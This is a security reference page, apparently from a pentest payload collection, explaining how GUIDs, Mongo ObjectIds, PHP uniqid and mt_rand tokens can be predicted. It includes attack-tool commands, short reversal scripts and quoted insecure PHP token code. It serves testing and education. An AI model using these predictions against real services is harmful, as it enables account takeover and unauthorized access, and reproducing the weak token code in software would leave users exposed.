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Insecure Randomness
Summary
GUID / UUID
A GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as 550e8400-e29b-41d4-a716-446655440000
. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.
GUID Versions
Version identification: xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx
The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
Version | Notes |
---|---|
0 | Only 00000000-0000-0000-0000-000000000000 |
1 | based on time, or clock sequence |
2 | reserved in the RFC 4122, but ommitted in many implementations |
3 | based on a MD5 hash |
4 | randomly generated |
5 | based on a SHA1 hash |
Tools
- intruder-io/guidtool - A tool to inspect and attack version 1 GUIDs
$ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00 UUID version: 1 UUID time: 2022-04-13 08:06:13.202186 UUID timestamp: 138691299732021860 UUID node: 91754721024 UUID MAC address: 00:15:5d:01:ef:00 UUID clock sequence: 2099 $ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
Mongo ObjectId
Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of:
- Timestamp (4 bytes): Represents the ObjectId’s creation time, measured in seconds since the Unix epoch (January 1, 1970).
- Machine Identifier (3 bytes): Identifies the machine on which the ObjectId was generated. Typically derived from the machine's hostname or IP address, making it predictable for documents created on the same machine.
- Process ID (2 bytes): Identifies the process that generated the ObjectId. Typically the process ID of the MongoDB server process, making it predictable for documents created by the same process.
- Counter (3 bytes): A unique counter value that is incremented for each new ObjectId generated. Initialized to a random value when the process starts, but subsequent values are predictable as they are generated in sequence.
Token example
5ae9b90a2c144b9def01ec37
,5ae9bac82c144b9def01ec39
Tools
- andresriancho/mongo-objectid-predict - Predict Mongo ObjectIds
./mongo-objectid-predict 5ae9b90a2c144b9def01ec37 5ae9bac82c144b9def01ec39 5ae9bacf2c144b9def01ec3a 5ae9bada2c144b9def01ec3b
- Python script to recover the
timestamp
,process
andcounter
def MongoDB_ObjectID(timestamp, process, counter): return "%08x%10x%06x" % ( timestamp, process, counter, ) def reverse_MongoDB_ObjectID(token): timestamp = int(token[0:8], 16) process = int(token[8:18], 16) counter = int(token[18:24], 16) return timestamp, process, counter def check(token): (timestamp, process, counter) = reverse_MongoDB_ObjectID(token) return token == MongoDB_ObjectID(timestamp, process, counter) tokens = ["5ae9b90a2c144b9def01ec37", "5ae9bac82c144b9def01ec39"] for token in tokens: (timestamp, process, counter) = reverse_MongoDB_ObjectID(token) print(f"{token}: {timestamp} - {process} - {counter}")
Uniqid
Token derived using uniqid
are based on timestamp and they can be reversed.
- Riamse/python-uniqid is based on a timestamp
- php/uniqid
Token examples
- uniqid:
6659cea087cd6
,6659cea087cea
- sha256(uniqid):
4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4
,ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4
Tools
import math
import datetime
def uniqid(timestamp: float) -> str:
sec = math.floor(timestamp)
usec = round(1000000 * (timestamp - sec))
return "%8x%05x" % (sec, usec)
def reverse_uniqid(value: str) -> float:
sec = int(value[:8], 16)
usec = int(value[8:], 16)
return float(f"{sec}.{usec}")
tokens = ["6659cea087cd6" , "6659cea087cea"]
for token in tokens:
t = float(reverse_uniqid(token))
d = datetime.datetime.fromtimestamp(t)
print(f"{token} - {t} => {d}")
mt_rand
Breaking mt_rand() with two output values and no bruteforce.
- ambionics/mt_rand-reverse - Script to recover mt_rand()'s seed with only two outputs and without any bruteforce.
./display_mt_rand.php 12345678 123
712530069 674417379
./reverse_mt_rand.py 712530069 674417379 123 1
Other
Other bad ideas that are sometimes shipped into production.
$token = md5($emailId).rand(10,9999);
$token = md5(time()+123456789 % rand(4000, 55000000));
Generic identification and sandwitch attack:
- AethliosIK/reset-tolkien - Unsecure time-based secret exploitation and Sandwich attack implementation Resources
reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7" reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"
References
- In GUID We Trust - Daniel Thatcher - October 11, 2022
- IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020
- [FR] Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD / @AethliosIK - 2 apr 2024
- [EN] Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD / @AethliosIK - 2 apr 2024
- Secret non sécurisé basé sur le temps et attaques par sandwich - Tom CHAMBARETAUD aka Aethlios
- Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - Oct 18, 2023
- Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - 06 January, 2020